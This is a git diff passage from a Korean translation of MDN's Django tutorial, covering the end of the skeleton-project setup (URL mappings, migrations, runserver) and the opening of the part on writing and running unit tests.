이 예제에서는 SQLite 데이터베이스를 사용합니다. 데모 데이터베이스에서 많은 동시 접속을 예상하지 않고, 설정에 추가적인 작업이 필요없기 때문입니다. 이 데이터베이스가 어떻게 설정되어 있는지 settings.py에서 확인할 수 있습니다.

+ +
DATABASES = {
+    'default': {
+        'ENGINE': 'django.db.backends.sqlite3',
+        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
+    }
+}
+
+ +

우리는 SQLite를 사용하기 때문에 여기서 다른 어떤 작업도 할 필요가 없습니다. 다음으로 가죠!

+ +

프로젝트의 다른 설정

+ +

settings.py 파일은 다른 많은 설정을 조정하는 데에 사용됩니다. 그러나 지금은 TIME_ZONE 만 바꿔 봅시다— 이 부분은 표준화된 List of tz database time zones과 일치되는 문자열을 사용해야 합니다 (테이블의 TZ 열의 값들을 참고하세요). TIME_ZONE 값을 당신의 타임존에 알맞은 문자열로 바꾸세요. (역자주: 한국은 'Asia/Seoul'로 설정)

+ +
TIME_ZONE = 'Europe/London'
+ +

지금은 바꾸지 않지만 알아둬야 할 두 가지 설정이 있습니다:

+ + + +

URL 맵퍼 연결

+ +

웹사이트는 프로젝트 폴더 안의 URL 맵퍼 파일(urls.py)과 같이 생성됩니다. urls.py를 통해 모든 URL 맵핑을 관리할 수 있지만, 연관된 어플리케이션에 따라 매핑을 다르게 하는 것이 일반적입니다.

+ +

 locallibrary/locallibrary/urls.py 파일을 열어서 URL 맵퍼를 사용하는 몇 가지 방법을 설명하는 문서를 살펴보세요. 

+ +
"""locallibrary URL Configuration
+
+The `urlpatterns` list routes URLs to views. For more information please see:
+    https://docs.djangoproject.com/en/2.0/topics/http/urls/
+예제:
+Function views 일 경우
+    1. Add an import:  from my_app import views
+    2. Add a URL to urlpatterns:  path('', views.home, name='home')
+Class-based views 일 경우
+    1. Add an import:  from other_app.views import Home
+    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
+다른 참조할 URL FILE 들을 포함시켜야 하는경우
+    1. Import the include() function: from django.urls import include, path
+    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
+"""
+from django.contrib import admin
+from django.urls import path
+
+urlpatterns = [
+    path('admin/', admin.site.urls),
+]
+
+ +

URL 맵핑은 urlpatterns 변수를 통해 관리되는데, 이 변수는 path() 함수의 파이썬 list 타입입니다. 각각의 path() 함수는 패턴이 일치할 때 표시될 뷰에 URL 패턴을 연결하거나, 다른 URL 패턴 테스트 코드 목록에 연결합니다(이 두 번째 경우에서 패턴은 대상 모듈에서 정의된 패턴의 "기본 URL"이 됩니다). urlpatterns 리스트는 맨 처음에 관리자 어플리케이션의 고유한 URL 맵핑 정의를 갖고 있는 admin.site.urls 모듈에 admin/ 패턴을 가지고 있는 모든 URL을 매핑하는 단일 함수를 정의합니다.

+ +
+

주의path() 속의 경로는 일치시킬 URL 패턴을 정의하는 문자열입니다. 이 문자열은 명명된(named) 변수를 꺽쇠 괄호(< >) 안에 포함할 수 있습니다. (예시: 'catalog/<id>/')  이 패턴은 URL을 /catalog/any_chars/ 처럼 일치시키고 any_chars를 뷰에 매개 변수 이름이 id 인 문자열로 전달합니다. 경로(path) 함수(method)와 경로(route) 패턴에 대해서는 추후에 더 논의하겠습니다.

+
+ +

urlpatterns 리스트에 새로운 리스트 항목을 추가하기 위해서 아래 코드를 파일의 마지막에 추가하세요. 이 새로운 항목은 요청(request)을 모듈 catalog.urls(관련 URL /catalog/urls.py가 있는 파일)에  catalog/  패턴과 함께 전달하는 path()를 포함합니다. (번역자주: 만일 www.xxxx.com/catalog로 시작되는 요청이 들어 오면 catalog/urls.py를 참조해서 맵핑하겠다는 의미)

+ +
# Use include() to add paths from the catalog application
+from django.conf.urls import include
+from django.urls import path
+
+urlpatterns += [
+    path('catalog/', include('catalog.urls')),
+]
+
+ +

이제 사이트의 루트 URL(즉, 127.0.0.1:8000)을 127.0.0.1:8000/catalog/로 리다이렉트 하도록 합시다. 이것이 우리가 이 프로젝트에서 사용하는 유일한 어플리케이션입니다. 이것을 하기 위해서는 특별한 뷰 함수(RedirectView)를 사용할 겁니다. 이 함수는 path()에서 지정된 URL 패턴이 일치할 때(위의 경우에선 루트 URL이죠) 첫 번째 인자를 (/catalog/)로 리다이렉트할 새로운 상대 URL로 간주합니다.

+ +

파일의 하단에 아래 코드를 다시 추가하세요:

+ +
#Add URL maps to redirect the base URL to our application
+from django.views.generic import RedirectView
+
+ +
urlpatterns += [
+    path('', RedirectView.as_view(url='/catalog/', permanent=True)),
+]
+ +

path() 함수의 첫 번째 매개변수(parameter)를 비워 놓으면 '/'를 의미합니다. 만약 첫 번째 매개변수(parameter)를 '/'라고 작성한다면 개발 서버를 시작할 때 장고는 아래의 경고를 보여줄 겁니다.

+ +
System check identified some issues:
+
+WARNINGS:
+?: (urls.W002) Your URL pattern '/' has a route beginning with a '/'.
+Remove this slash as it is unnecessary.
+If this pattern is targeted in an include(), ensure the include() pattern has a trailing '/'.
+
+ +

장고는 기본적으로 CSS, JavaScript, 그리고 이미지와 같은 정적 파일을 제공하지 않지만, 이들은 사이트에 매우 유용할 수 있습니다. 최종적으로 이 URL 매퍼에 추가할 것은 개발 중에 정적 파일들을 제공하는 것을 가능하게 하는 아래 코드입니다. 

+ +

아래 코드를 파일의 하단에 추가하세요:

+ +
# Use static() to add url mapping to serve static files during development (only)
+from django.conf import settings
+from django.conf.urls.static import static
+
+urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)
+
+ +
+

 주의urlpatterns 리스트를 확장하는 여러 가지 방법들이 있습니다(위에서는 코드들을 명백하게 구분하기 위해서 간단히 += 연산자를 사용해서 새로운 리스트 항목을 추가했습니다). 대신 원래의 리스트 정의 안에 새로운 패턴-맵을 추가하는 방법이 있습니다:

+ +
urlpatterns = [
+    path('admin/', admin.site.urls),
+    path('catalog/', include('catalog.urls')),
+    path('', RedirectView.as_view(url='/catalog/', permanent=True)),
+] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)
+
+ +

추가적으로 임포트(import) 코드(from django.urls import include)를 그것을 사용하는 코드 바로 위에 선언했지만(무엇을 추가했는지 보기 쉽도록) 대개 import 문장은 파이썬 파일의 상단에 포함하는 것이 일반적입니다.

+
+ +

마지막으로 urls.py라는 파일을 catalog 폴더 안에 생성하세요. 그리고 임포트된 (텅 빈(emptyt))urlpatterns를 정의하기 위해 아래 코드를 추가하세요. 어플리케이션을 만들면서 패턴들을 이곳에 추가할 것입니다. 

+ +
from django.urls import path
+from catalog import views
+
+
+urlpatterns = [
+
+]
+
+ +

Website framework 테스트 하기

+ +

우리는 이 프로젝트의 뼈대(skeleton)를 만들었습니다. 웹사이트는 아직 아무것도 하지 않지만, 우리들이 여기까지 완성한 프로젝트가 오류 없이 돌아가는지 한번 실행해 볼 필요가 있습니다. 

+ +

그 전에 먼저 데이터베이스로의 마이그레이션(migration) 작업을 해야 합니다. 이것은 데이터베이스에 우리의 어플리케이션에 속한 모든 모델을 포함하도록 업데이트합니다(그리고 몇몇 빌드 경고의 원인을 제거합니다).

+ +

데이터베이스 마이그레이션(migration) 실행하기

+ +

장고는 ORM(Object-Relational-Mapper : 객체-관계-매퍼)를 사용하여 장고 코드 안에 있는 모델 정의(객체)를 기본 데이터베이스에서 사용하는 데이터 구조(관계형 DB)에 매핑합니다. 모델의 정의를 바꿀 때 마다, 장고는 변화를 추적해서, 데이터베이스 안의 기본 데이터 구조가 모델과 일치하도록 자동적으로 이전(migrate)하는 스크립트를(/locallibrary/catalog/migrations/안에)생성할 수 있습니다.

+ +

웹사이트를 생성할 때 장고는 사이트의 관리자 섹션(나중에 살펴볼)에서 사용할 여러 모델들을 자동으로 추가했습니다. 데이터베이스 안의 그 모델들을 위한 테이블들을 정의하기 위해 아래 명령어를 실행하세요(manage.py파일이 포함되어 있는 디렉토리에서 실행합니다). 

+ +
python3 manage.py makemigrations
+python3 manage.py migrate
+
+ +
+

 중요:  저장되어야 할 데이터의 구조에 영향을 미치는 방식으로 모델이 변경될 때마다 위의 명령어를 실행해야 합니다(모든 모델과 개별적인 필드의 추가와 제거를 포함하여).

+
+ +

makemigrations 명령어는 프로젝트에 설치된 모든 어플리케이션에 대한 migration을 생성합니다(하지만 적용하진 않습니다)(또한 그저 단일 프로젝트를 위한 migration을 실행하기 위해 어플리케이션 이름을 지정할 수 있습니다). 이것으로 migration이 적용되기 전에 코드를 점검할 기회를 가질 수 있습니다 — 당신이 장고 전문가가 되었을 땐 그것들을 조금 조정할 수도 있습니다!

+ +

migrate 명령어는 migration을 실제로 데이터베이스에 적용합니다(장고는 현재 데이터베이스에 어떤 것들이 추가되었는지 추적합니다).

+ +
+

주의: 덜 사용되는 migration 명령어에 대한 추가적인 정보는 Migrations (장고 문서)를 참고하세요.

+
+ +

웹사이트 실행하기

+ +

개발 중에 먼저 개발 웹 서버를 사용해서 웹사이트를 서비스한 후 로컬 웹 브라우저에서 볼 수 있습니다. 

+ +
+

주의: 개발용 웹 서버는 견고하거나 제품에 쓰일 만큼 충분하진 않지만, 개발 중에 편하고 빠른 테스트를 위해 장고 웹사이트를 실행할 수 있는 아주 쉬운 방법입니다. 기본적으로 사이트를 당신의 로컬 컴퓨터에(http://127.0.0.1:8000/)서비스 하지만, 네트워크에 있는 다른 컴퓨터를 지정해서 서비스하도록 할 수 있습니다.  django-admin and manage.py: runserver (장고 문서)에서 더 많은 정보를 확인하세요.

+
+ +

manage.py와 같은 디렉터리 안에 있는 runserver 명령어를 실행해 개발 웹 서버를 실행해 보세요.

+ +
python3 manage.py runserver
+
+ Performing system checks...
+
+ System check identified no issues (0 silenced).
+ August 15, 2018 - 16:11:26
+ Django version 2.1, using settings 'locallibrary.settings'
+ Starting development server at http://127.0.0.1:8000/
+ Quit the server with CTRL-BREAK.
+
+ +

 서버가 실행된다면 로컬 웹 브라우저에서 http://127.0.0.1:8000/ 으로 이동하여 사이트를 볼 수 있습니다. 아래와 같은 사이트 에러 페이지가 뜰 겁니다:

+ +

Django Debug page for Django 2.0

+ +

걱정 마세요! 예상된 에러 페이지입니다. 그 이유는 아직(사이트의 루트에 대한 URL을 가져올 때 리다이렉트되는) catalogs.urls 모듈 안에 정의된 page/url들이 없기 때문입니다. 

+ +
+

주의: 위 페이지는 중요한 장고 기능을 보여줍니다— 자동화된 디버그 기록(logging)이죠. 에러 화면은 페이지를 찾을 수 없거나, 코드에서 에러가 발생했을 어떤 때라도 유용한 정보가 표시될 겁니다. 이 경우엔 (목록에 있는 대로) 우리가 제공한 URL과 일치하는 어떤 URL 패턴도 없다는 것을 볼 수 있습니다. 디버그 기록(logging)은 제품화되었을 (웹에 라이브로 사이트를 올려놓으면) 때는 꺼져 있을 겁니다. 정보는 더 적지만, 사용자 친화적인 페이지가 서비스되는 것이죠.

+
+ +

이 지점에서 장고가 작동한다는 것을 알 수 있습니다! 

+ +
+

주의: 어떤 때라도 중요한 변경이 있은 후에는 migration들을 재실행하고 사이트를 다시 테스트해야 합니다. 그렇게 오래 걸리진 않으니까 꼭 하세요!

+
+ +

도전 과제

+ +

catalog/ 디렉토리는 뷰, 모델, 그리고 어플리케이션의 다른 부분들을 위한 파일들을 포함하고 있습니다. 이 파일들을 열어 표준 코드(boilerplate)들을 점검해 보세요. 

+ +

위에서 본 것처럼, 관리자 사이트를 위한 URL 매핑은 이미 프로젝트의 urls.py 안에 추가되어 있습니다. 브라우저에서 관리자 영역으로 이동하여 어떤 일이 일어나는지 살펴보세요(위서 살펴본 매핑에서 올바른 URL을 추론할 수 있습니다).

+ + + +

요약

+ +

이제 urls, models, views, 그리고 templates으로 채울 수 있는 완벽한 뼈대 웹사이트 프로젝트를 만들었습니다.

+ +

Local Library website를 위한 뼈대는 완성되어서 실행되고 있고, 이제는 이 웹사이트가 해야 할 일을 하게 만드는 코드를 작성할 시간입니다. 

+ +

참고 항목

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}

+ + + +

이 모듈 안에서

+ + diff --git a/files/ko/learn/server-side/django/testing/index.html b/files/ko/learn/server-side/django/testing/index.html new file mode 100644 index 0000000000..d15550bd43 --- /dev/null +++ b/files/ko/learn/server-side/django/testing/index.html @@ -0,0 +1,933 @@ +--- +title: 'Django 튜토리얼 파트 10: Django 웹 어플리케이션 테스트하기' +slug: Learn/Server-side/Django/Testing +translation_of: Learn/Server-side/Django/Testing +--- +

{{LearnSidebar}}

+ +
{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}
+ +

웹사이트가 성장함에 따라 손으로 일일히 테스트하는 것은 점점 더 어려워진다. 테스트 할 내용이 늘어날 뿐만 아니라, 컴포넌트간의 상호작용도 복잡해지고, 한 쪽의 작은 수정이 다른쪽에 큰 영향을 줄수 있기 때문에, 모든것이 잘 동작할 수 있도록 더 많은 수정이 필요해지며, 그렇게 추가된 수정이 새로운 에러를 유발하지 않도록 확인되어야 한다. 이러한 문제들의 해결책중 하나는, 쉽고 안정적으로 수정사항이 발생할 때마다 실행되는 자동화된 테스트를 작성하는 것이다. 이 튜토리얼은 Django의 테스트 프레임워크를 사용하여 당신의 웹 사이트에 대한 Unit Testing을 자동화하는 방법을 보여줄것이다. 

+ + + + + + + + + + + + +
사전학습:아래 파트를 포함하여 앞선 모든 튜토리얼 파트의 학습을 완료할 것. Django 튜토리얼 파트 9: 폼으로 작업하기.
학습목표:Django 기반 웹사이트의 Unit Test 작성방법 이해하기.
+ +

개요

+ +

이제까지 개발된 LocalLibrary 의 현재 상태는 다음과 같다. 모든 book과 author의 목록, Book 과 Author 항목별 상세 뷰, BookInstance 갱신용 페이지, Author 항목의 생성,갱신,삭제를 위한 페이지( forms tutorial 편의 도전과제도 완성 했다면 Book 편집 페이지도 포함)가 완성 되었다. 상대적으로 작은 이 사이트조차, 각 페이지가 기대한 대로 동작하는지 손으로 대강 체크하는 것만 해도 몇 분 정도는 걸린다. 사이트가 성장하면서 수정사항이 늘어날수록 적절하게 동작하는지 우리가 수동으로 체크해야 하는 양도 늘어날 수 밖에 없다. 손으로 직접 테스트 하는 방법을 계속 유지한다면, 결국은 대부분의 시간을 테스트에 사용하고 코드를 개선할 수 있는 시간은 거의 없어질 것이다. 

+ +

자동화된 테스트는 이러한 문제를 진짜로 해결할 수 있다! 명백한 이점은 수동 테스트보다는 훨신 빠르고, 훨씬 세부적인 내용까지도 테스트 할수 있으며, 매번 정확히 같은 기능을 테스트할 수 있다는 점(사람이 테스트한다면 결코 신뢰성있게 할 수 없는 부분!) 이다.  자동화 테스트는 빠르기 때문에 좀 더 정기적으로 실행할 수 있고, 테스트 실패시 코드가 기대대로 동작하지 않았던 부분을 정확히 지목할 수 있다.

+ +

게다가, 자동화된 테스트는 당신의 코드의 첫번째 실전 고객으로 역할을 수행하여, 당신의 웹사이트가 어떻게 동작해야하는지 엄격하게 정의하고 문서화하도록 압력을 준다. 종종 이 내용이 당신이 작성하게될 코드 예제나 관련문서의 기초 자료가 된다. 이러한 이유 때문에, 어떤 소프트웨어 개발 프로세스는 테스트 정의와 구현으로 시작되어, 테스트가 요구하는 동작을 충족하도록 코드가 작성되기도 한다. ( 예를 들면, test-driven 과 behaviour-driven 개발론).

+ +

이 튜토리얼은 , LocalLibrary 웹사이트에 몇가지 테스트를 추가하면서, Django에 대한 자동화된 테스트를 작성하는 방법을 보여준다.

+ +

Testing의 종류

+ +

테스트의 성격, 수준, 테스트의 종류및 테스트에 대한 접근방법은 수없이 많다. 가장 중요한 방법들은 다음과 같다. :

+ +
+
Unit tests (유닛 테스트)
+
독립적인 콤포넌트의 (성능이 아닌) 기능적인 동작을 검증한다. 흔히 class나 function 레벨로 수행한다.
+
Regression tests ( 버그수정 확인 테스트 )
+
기존에 보고된 버그들이 재발하는지 테스트한다. 각 테스트는, 먼저 이전에 발생했던 버그가 수정되었는지 체크한 이후에, 버그 수정으로 인해 새롭게 발생되는 버그가 없는지 확인차 재수행하게 된다.
+
Integration tests ( 통합 테스트 )
+
유닛 테스트를 완료한 각각의 독립적인 콤포넌트들이 함께 결합되어 수행하는 동작을 검증한다. 통합 테스트는 콤포넌트간에 요구되는 상호작용을 검사하며, 각 콤포넌트의 내부적인 동작까지 검증할 필요는 없다. 이 테스트는 단지 전체 웹사이트에 걸쳐 각 콤포넌트가 결합하여 수행하는 동작을 대상으로 한다.
+
+ +
+

참고사항 : 이외의 일반적인 테스트의 종류는 다음과 같다. 블랙박스, 화이트 박스, 수동, 자동, 카나리아, 스모크, 적합성 평가(conformance), 인수(acceptance), 기능성, 시스템, 성능, 로드, 스트레스 테스트등. 더 자세한 정보는 위의 키워드로 검색 바람.

+
+ +

Django가 testing을 위해 제공하는 것은?

+ +

웹사이트를 테스트하는 것은 복잡한 작업입니다. 왜냐하면 이것이 HTTP 레벨의 리퀘스트 핸들링, 쿼리모델들, 폼 인증과 처리 그리고 템플릿 렌더링과 같은 여러 로직 레이어로 만들어졌기 때문입니다.

+ +

Django는 파이선 표준 라이브러리 unittest로 만들어진 작은 클라스계층의 테스트 프레임워크를 제공합니다. 그 이름과 다르게 이 테스트 프레임워크는 유닛테스트와 통합테스트 모두에게 적당합니다. 이 Django 프레임워크는 웹과 Django의 독특한 특징을 테스트하는 것을 돕기 위한 API메소드와 도구들을 추가합니다. 이것들은 당신이 리퀘스트를 시험하고, 시험 데이터를 삽입하고 그리고 당신의 애플리케이션의 결과물을 검사할 수 있게 합니다. Django는 또한 다른 테스트 프레임워크들을 사용하기 위한 API (LiveServerTestCase)와 도구들을 제공합니다. 예를 들면 당신은 사용자가 생중계 브라우저와 소통하는 것을 시뮬레이션하는 유명한 Selenium 프레임워크와 통합할 수 있습니다.

+ +

테스트를 작성하기 위해서는 Django(또는 unittest) 테스트기반 클라스들(SimpleTestCaseTransactionTestCaseTestCaseLiveServerTestCase)로부터 어떤 것을 가져오고 그리고 그 다음에 특별한 기능이 기대했던대로 작동하는지 체크하기 위한 분리된 메소드들을 작성합니다. (테스트들은 그 표현식의 결과가 True 또는 False 값인지 또는 그 두 값들이 동등한지 등을 테스트하기 위해 "assert" 메소드를 사용합니다) 당신이 테스트를 시작하면, 그 프레임워크는 당신의 가져온 클라스들안에서 선택된 테스트 메소드들을 실행합니다. 아래에 보이는 것과 같이, 그 테스트 메소드들은 클라스에서 정의된 보통의 셋업 그리고/또는 tear-down 방식을 가지고 독립적으로 실행됩니다.

+ +
class YourTestClass(TestCase):
+    def setUp(self):
+        # Setup run before every test method.
+        pass
+
+    def tearDown(self):
+        # Clean up run after every test method.
+        pass
+
+    def test_something_that_will_pass(self):
+        self.assertFalse(False)
+
+    def test_something_that_will_fail(self):
+        self.assertTrue(False)
+
+ +

대부분의 테스트들을 위한 최선의 기본 클라스는 django.test.TestCase 입니다. 이 테스트 클라스는 이것이 실행되기 전에 하나의 깨끗한 데이터베이스를 생성하고, 그리고 이 자체의 트랜젝션에서 모든 테스트를 실행합니다. 이 클라스는 자체의 테스트 클라이언트를 갖고있는데, 이것은 당신이 view 레벨에서 그 코드가 사용자와 상호작용하는 것을 시뮬레이션할 수 있게 합니다. 아래 섹션에서는 이  TestCase 기본 클라스를 이용하여 유닛테스트들에 집중할 것입니다. 

+ +
+

Note:django.test.TestCase 클라스는 매우 편리합니다. 그러나 어떤 테스트들은 그들이 필요로하는 것보다 느려지는 결과가 올 수 있습니다(모든 테스트들이 그들 자체의 데이터베이스나 또는 view 상호작용의 셋업이 필요한 것은 아닙니다) 한번 당신이 이 클라스를 통해서 무엇을 할 수 있는지 익숙해진다면, 당신은 더 심플한 테스트 클라스들을 가지고 당신의 몇몇 테스트들을 대체하게 될 것입니다.

+
+ +

무엇을 테스트해야 하는가?

+ +

Python 또는 Django의 일부분으로서 제공되는 라이브러리들 또는 기능들을 제외한 당신 코드의 모든 면을 테스트해야합니다. 

+ +

예를 들면, 아래에 정의된 Author 모델을 가정합니다. 당신은 first_name과 last_name이 데이터베이스 CharField로서 적당하게 저장됐는지에 대해 명시적으로 테스트할 필요가 없습니다. 왜냐하면, 그것은 Django에 의해 정의된 것이기 때문입니다. (물론 사실은 당신이 개발하는 중에 이 기능들을 필연적으로 테스트했음에도 불구하고요) 또한 date_of_birth가 날짜 필드에 적합한 값을 갖었는지 테스트하는 것도 필요없습니다. 왜냐하면 그렇게 하는 것은 Django에서 다시한번 더 실행하는 것이 되니까요. 

+ +

그러나 당신은 그 레이블들(First name, Last name, Date of birth, Died)로 사용된 텍스트 그리고 그 텍스트(100 chars)을 위해 할당한 그 필드의 크기를 확인해야 합니다. 왜냐하면 이것들은 당신이 디자인한 것이고 추후에 깨지거나 변경될 수 있는 것이기 때문입니다.

+ +
class Author(models.Model):
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    def get_absolute_url(self):
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        return f'{self.last_name}, {self.first_name}'
+ +

단순히, 당신은 당신의 요구에 따라 만들어지 메소드들 get_absolute_url()  과 __str__() 이 원래 요구된 대로 작동하는지 체크해야합니다. 왜냐하면 이것들은 당신이 만들어낸 코드/비즈니스 로직이기 때문입니다.  get_absolute_url()의 경우에 있어서는 Django의 reverse() 메소드는 적당하게 작동되었다고 신뢰할 수 있습니다, 그래서 당신이 테스트해야 하는 것은 실제로 정의되어온 관련된  view 입니다. 

+ +
+

Note: 영특한 독자들은 date of birth와 date of death를 합리적인 값으로 제한해야 한다고 적어야 하고, 그리고 death는 birth보다 뒤에 왔는지를 체크해야 한다고 할 것입니다. Django에 있어서 이 제약은 당신의 폼클라스에 추가될 것입니다(당신이 그 필드들의 이러한 모습을 모델 레벨이 아니라 오직 폼 레벨에서 사용될 수 있도록 인증을 정의할 수 있다고 할지라도 말입니다)

+
+ +

이런 것들을 마음에 두고서 테스트를 정의하고 실행해봅시다.

+ +

테스트 구조 개요

+ +

무엇을 테스트 할 지 자세히 보기 전에, 간단히 어디서 그리고 어떻게 테스트가 정의되는지 대략 살펴 봅시다.

+ +

장고는 유닛테스트의 모듈인 built-in test discovery을 사용하는데, 이는 현재 작업중인 디렉토리의 test*.py라는 패턴을 가진 모든 파일들을 체크합니다. 그 파일들의 이름을 적당하게 붙이는 한, 당신은 당신이 원하는 어떤 구조라도 이용할 수 있습니다. 우리는 당신의 테스트코드를 위한 한 모듈을 만들 것을 추천합니다. 그리고 모델들, 뷰들, 폼들 그리고 테스트가 필요한 어떤 다른 타입의 코드라도 각각을 분리하기를 바랍니다. 예를 들면:

+ +
catalog/
+  /tests/
+    __init__.py
+    test_models.py
+    test_forms.py
+    test_views.py
+
+ +

당신의 LocalLibrary 프로젝트에서 위와 같은 구조의 파일을 만드십시오.  __init__.py 파일은 비어있는 파일입니다.(이것은 Python에게 이 디렉토리가 패키지임을 알려줍니다) skeleton 테스트파일인 /catalog/tests.py를 복사하여 이름을 바꿔서 위의 세개의 테스트파일을 만드십시오.

+ +
+

Note: 이 skeleton 테스트파일 /catalog/tests.py 은 우리가 Django skeleton website 를 만들었을 때 자동으로 생성됩니다. 당신의 테스트들을 여기에 모두 넣는 것도 괜찮습니다만, 당신이 적절하게 테스트를 해나가면 당신은 금방 매우 크고, 관리할 필요 없는 테스트파일로 끝나게 될 것입니다. 

+ +

이 skeleton 파일은 우리에게 필요하지 않으니 지우십시오.

+
+ +

/catalog/tests/test_models.py 파일을 오픈하십시오. 이 파일은 아래와 같이 django.test.TestCase 가 import 되었을 것입니다.

+ +
from django.test import TestCase
+
+# Create your tests here.
+
+ +

 당신은 종종 특정한 기능을 테스트하기 위한 개별적인 메소드들을 가지고 당신이 테스트하기를 원하는 각각의 모델/뷰/폼을 위한 테스트 클라스를 추가할 것입니다. 또 다른 경우에는 당신은 그 사용사례의 다방면을 테스트하기 위한 개별적인 테스트기능을 가지고, 특별한 사용사례를 테스트하기 위한 별도의 클라스를 갖기를 원할 것입니다. (예를 들면, 실패한 사례들을 테스트하는 기능을 가지고 모델 필드가 적정하게 인증되었는지 테스트하는 한 클라스) 다시한번, 그 구조는 오직 당신 자신에게 달렸습니다. 그러나 당신이 일관되게 하는 것이 최선의 방법입니다. 

+ +

아래의 테스트 클라스를 파일 맨아랫부분에 추가하십시오. 이 클라스는 TestCase으로부터 이끌어내어서 어떻게 테스트케이스 클라스를 구축하는지 예시를 보여줍니다.

+ +
class YourTestClass(TestCase):
+    @classmethod
+    def setUpTestData(cls):
+        print("setUpTestData: Run once to set up non-modified data for all class methods.")
+        pass
+
+    def setUp(self):
+        print("setUp: Run once for every test method to setup clean data.")
+        pass
+
+    def test_false_is_false(self):
+        print("Method: test_false_is_false.")
+        self.assertFalse(False)
+
+    def test_false_is_true(self):
+        print("Method: test_false_is_true.")
+        self.assertTrue(False)
+
+    def test_one_plus_one_equals_two(self):
+        print("Method: test_one_plus_one_equals_two.")
+        self.assertEqual(1 + 1, 2)
+ +

  이 새로운 클래스는 테스트 전 준비를 위해 사용할 수 있는 메쏘드 두 개를 정의합니다. (예를 들면 테스트에 필요한 모델이나 객체를 생성해 놓을 수 있습니다):

+ + + +
+

테스트 클래스는 위 예제에서 사용하지 않은 tearDown(h  메소드를 가지고 있습니다. 이 메소드는 특히 데이터베이스 테스트에는 유용하지가 않은데 바로 베이스 클래스인 TestCase 가 데이터베이스 삭제(teardown) 을 처리해주기 때문입니다.

+
+ +

아래에는 Assert 함수를 사용하여 조건이 참, 거짓 또는 동일한지 테스트하는 여러 가지 테스트 메서드가 있습니다  (AssertTrue, AssertFalse, AssertEqual). 조건이 예상대로 실행되지 않으면 테스트가 실패하고 콘솔에 오류를 보고합니다.

+ +
+

일반적으로 위와 같이 테스트에 print() 함수를 포함하면 됩니다. 여기서는 setup 함수들이 콘솔에서 호출되는 순서를 (다음 절에서) 볼 수 있도록 하기 위해 사용되었습니다.

+
+ +

어떻게 테스트를 작동시키는가

+ +

모든 테스트를 실행하는 가장 쉬운 방법은 다음 명령을 사용하는 것입니다.

+ +
python3 manage.py test
+ +

이 명령은 현재 경로에서 test*.py 패턴을 만족하는 모든 파일을 찾은 후 이들 테스트를 적합한 베이스 클래스를 이용해서 실행합니다 (우리는 현재 여러 개의 테스트 파일을 가지고 있지만 /catalog/tests/test_models.py 만이 실제 테스트를 포함하고 있습니다. 기본적으로 각각의 테스트는 실패 결과만을 보고하며, 마지막으로 테스트 결과 요약을 출력합니다.

+ +
+

만약 ValueError: Missing staticfiles manifest entry ... 과 같은 에러를 마주칠 수 있습니다. 이런 에러는 보통 테스팅 도구가 기본적으로 collectstatic을 실행하지 않고, 당신의 앱이 이를 요구하는 storage 클래스를 사용하기 때문일 수 있습니다 (manifest_strict 에 더 자세한 정보가 적혀 있습니다). 이 문제를 해결할 수 있는 다양한 방법이 있지만 가장 간단한 방법은 테스트 실행 전에 collectstatic을 실행하는 것입니다.

+ +
python3 manage.py collectstatic
+
+
+ +

LocalLibrary의 루트 디렉토리에서 테스트를 실행하세요. 당신은 아래와 같은 출력output을 볼 것입니다.

+ +
> python3 manage.py test
+
+Creating test database for alias 'default'...
+setUpTestData: Run once to set up non-modified data for all class methods.
+setUp: Run once for every test method to setup clean data.
+Method: test_false_is_false.
+setUp: Run once for every test method to setup clean data.
+Method: test_false_is_true.
+setUp: Run once for every test method to setup clean data.
+Method: test_one_plus_one_equals_two.
+.
+======================================================================
+FAIL: test_false_is_true (catalog.tests.tests_models.YourTestClass)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "D:\Github\django_tmp\library_w_t_2\locallibrary\catalog\tests\tests_models.py", line 22, in test_false_is_true
+    self.assertTrue(False)
+AssertionError: False is not true
+
+----------------------------------------------------------------------
+Ran 3 tests in 0.075s
+
+FAILED (failures=1)
+Destroying test database for alias 'default'...
+ +

여기서 우리는 테스트 하나가 실패했음을 알 수 있으며, 실패한 함수와 실패한 이유를 정확히 볼 수 있습니다 (False가 True가 아니기 때문에 실패하는 것이 당연합니다).

+ +
+

: 우리는 위의 출력 결과를 통해서 객체와 메소드에 설명적인, 정보가 많은 이름을 사용하는 것이 테스트 결과를 이해하는데 도움이 된다는 것을 배울 수 있습니다.

+
+ +

굵게 표시된 텍스트는 보통은 테스트 결과에 출력되지 않습니다 (우리가 테스트에서 사용한 print() 함수가 출력한 것입니다). 이는 setUpTestData() 가 클래스 당 한 번, setUp() 이 메소드 당 한 번 실행되는 것을 보여줍니다.

+ +

다음 섹션은 특정 테스트만 실행하는 방법과 테스트가 출력하는 정보를 조절하는 방법을 알려줍니다.

+ +

테스트에 대해 더 많은 정보를 출력하기

+ +

테스트 실행에 대한 자세한 정보를 얻으려면 verbosity를 조절할 수 있습니다. 예를 들어 테스트 실패와 더불어 성공 (그리고 테스트 데이터베이스 생성 과정에 대한 정보)를 나열하려면 다음과 같이 verbosity를 "2"로 설정할 수 있습니다.

+ +
python3 manage.py test --verbosity 2
+ +

허용되는 verbosity levels 은 0, 1, 2, and 3, 이며 기본값은 "1" 입니다.

+ +

테스트의 일부만 실행하기

+ +

테스트 중 일부만 실행하려면 패키지, 모듈, TestCase 서브클래스, 메서드의 전체 경로를 지정해주면 됩니다.

+ +
# Run the specified module
+python3 manage.py test catalog.tests
+
+# Run the specified module
+python3 manage.py test catalog.tests.test_models
+
+# Run the specified class
+python3 manage.py test catalog.tests.test_models.YourTestClass
+
+# Run the specified method
+python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one_equals_two
+
+ +

LocalLibrary 테스트

+ +

테스트를 어떻게 돌릴지와 어떤 내용을 테스트할지를 알았으니 이제 실제 예제들을 봅시다.

+ +
+

